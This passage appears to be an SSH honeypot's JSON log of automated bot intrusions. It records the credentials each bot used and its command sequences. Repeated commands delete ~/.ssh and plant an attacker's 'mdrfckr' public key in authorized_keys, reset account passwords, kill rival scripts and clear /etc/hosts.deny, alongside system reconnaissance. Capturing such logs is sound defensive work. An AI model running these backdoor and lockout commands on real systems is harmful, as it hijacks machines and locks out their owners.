$4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:29:03.374412+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:29:03.670106+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:29:04.543328+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:29:04.845248+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:29:05.703153+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:29:05.998554+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:29:06.609274+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:29:06.904405+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:29:07.767133+00:00","kind":"output","latency_ms":null,"data":" 12:29:07 up 7 days, 9:19, 0 user, load average: 0.25, 0.28, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:29:08.062711+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:29:08.914164+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:29:09.216274+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:29:09.577046+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:29:09.873321+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:29:10.720502+00:00","kind":"output","latency_ms":null,"data":"top - 12:29:10 up 7 days, 9:19, 0 user, load average: 0.25, 0.28, 0.17\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:29:11.017282+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:29:11.737100+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:29:12.033854+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:29:12.877150+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:29:13.172829+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:29:13.676275+00:00","kind":"output","latency_ms":null,"data":"test"},{"seq":29,"at":"2026-08-27T12:29:13.972271+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:29:15.038173+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:29:15.332537+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:29:17.254875+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"test","password":"test12345","method":"password","accepted":true,"tier":"other"}]} {"id":"195e9eb7-d36c-4b2a-96d4-beda6f9cbb6c","name":"ivory-pewter-agouti","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":42630,"username":"user1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":1024,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:29:02.832543+00:00","ended_at":"2026-08-27T12:29:04.521724+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2256,"events":[{"seq":1,"at":"2026-08-27T12:28:26.983111+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:28:27.819632+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:28:36.909586+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:28:37.195002+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:28:38.373692+00:00","kind":"input","latency_ms":null,"data":"echo -e \"user1123\\n5VPCiG3ACjJb\\n5VPCiG3ACjJb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:28:39.478756+00:00","kind":"input","latency_ms":null,"data":"echo \"user1123\\n5VPCiG3ACjJb\\n5VPCiG3ACjJb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:28:40.387195+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T12:28:41.524693+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T12:28:42.394568+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T12:28:43.234939+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T12:28:44.339737+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T12:28:45.182263+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T12:28:46.429516+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T12:28:48.397688+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T12:28:49.140369+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T12:28:50.525038+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T12:28:50.883186+00:00","kind":"output","latency_ms":null,"data":" 12:28:50 up 7 days, 9:18, 0 user, load average: 0.19, 0.25, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T12:28:51.985895+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T12:28:52.367202+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T12:28:53.474729+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T12:28:53.743647+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T12:28:54.589912+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T12:28:55.017368+00:00","kind":"output","latency_ms":null,"data":"top - 12:28:55 up 7 days, 9:19, 0 user, load average: 0.19, 0.25, 0.17\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T12:28:55.856771+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T12:28:56.401741+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T12:28:57.297540+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T12:28:57.921119+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T12:28:58.762656+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T12:28:59.565612+00:00","kind":"output","latency_ms":null,"data":"user1"},{"seq":30,"at":"2026-08-27T12:29:00.590095+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T12:29:02.001139+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T12:29:02.833351+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T12:29:04.254223+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user1","password":"user1123","method":"password","accepted":true,"tier":"other"}]} {"id":"046b6074-3b9c-4437-be5f-664598711280","name":"foggy-snowy-galago","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":42818,"username":"kd","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":330,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:27:40.954237+00:00","ended_at":"2026-08-27T12:27:41.855899+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T12:27:17.191596+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:27:17.518108+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:27:22.303863+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:27:24.046967+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:27:24.374051+00:00","kind":"input","latency_ms":null,"data":"echo -e \"kd@123\\n37SIzpu3D2V8\\n37SIzpu3D2V8\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:27:24.703732+00:00","kind":"input","latency_ms":null,"data":"echo \"kd@123\\n37SIzpu3D2V8\\n37SIzpu3D2V8\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:27:25.028051+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:27:25.809039+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:27:26.251363+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:27:26.563199+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T12:27:26.889493+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:27:28.786055+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:27:29.382731+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:27:31.195557+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:27:31.525299+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:27:32.363408+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:27:32.695741+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:27:33.577777+00:00","kind":"output","latency_ms":null,"data":" 12:27:33 up 7 days, 9:17, 0 user, load average: 0.34, 0.31, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:27:33.903906+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:27:34.513166+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:27:34.844312+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:27:35.440880+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:27:35.778928+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:27:36.393388+00:00","kind":"output","latency_ms":null,"data":"top - 12:27:36 up 7 days, 9:17, 0 user, load average: 0.34, 0.31, 0.24\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:27:36.728878+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:27:37.340783+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:27:37.982692+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:27:38.345283+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:27:38.679954+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:27:39.129321+00:00","kind":"output","latency_ms":null,"data":"kd"},{"seq":31,"at":"2026-08-27T12:27:39.456997+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:27:40.625308+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:27:40.955122+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:27:41.758339+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"kd","password":"kd@123","method":"password","accepted":true,"tier":"other"}]} {"id":"1047406f-7e04-4b83-9acb-2aca205290c8","name":"regal-polar-gecko","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":51166,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":266,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:27:37.812022+00:00","ended_at":"2026-08-27T12:27:39.366564+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:27:20.408389+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:27:20.672951+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:27:24.515547+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:27:24.785001+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:27:25.051223+00:00","kind":"input","latency_ms":null,"data":"echo \"root:zdj3YVHqbhzk\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:27:25.315680+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:27:25.581459+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:27:26.127017+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:27:26.392389+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:27:27.770557+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:27:28.036924+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:27:29.036110+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:27:29.302491+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:27:29.690707+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:27:29.955923+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:27:30.571969+00:00","kind":"output","latency_ms":null,"data":" 12:27:30 up 7 days, 9:17, 0 user, load average: 0.08, 0.09, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:27:30.839928+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:27:31.093420+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:27:31.360889+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:27:31.946997+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:27:32.212354+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:27:32.885729+00:00","kind":"output","latency_ms":null,"data":"top - 12:27:32 up 7 days, 9:17, 0 user, load average: 0.08, 0.09, 0.06\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:27:33.152061+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:27:33.863767+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:27:34.130267+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:27:35.023325+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:27:35.295092+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:27:35.991837+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:27:36.261889+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:27:37.547105+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:27:37.812828+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:27:39.290165+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Lai123456","method":"password","accepted":true,"tier":"other"}]} {"id":"25d66104-34c2-4c5f-ade7-028a24f97cd8","name":"flinty-wistful-starling","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":37032,"username":"sklep","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:27:13.056486+00:00","ended_at":"2026-08-27T12:27:14.294599+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T12:26:54.052133+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:26:54.347633+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:26:57.889376+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:26:58.677257+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:26:58.973162+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sklep\\nBjtPATo8xS0U\\nBjtPATo8xS0U\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:26:59.269061+00:00","kind":"input","latency_ms":null,"data":"echo \"sklep\\nBjtPATo8xS0U\\nBjtPATo8xS0U\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:26:59.563492+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:27:00.127825+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:27:00.426021+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:27:01.305013+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:27:01.601756+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:27:02.859672+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:27:03.159084+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:27:04.060764+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:27:04.356657+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:27:05.136090+00:00","kind":"output","latency_ms":null,"data":" 12:27:05 up 7 days, 9:17, 0 user, load average: 0.2, 0.17, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:27:05.431946+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:27:06.229037+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:27:06.524628+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc 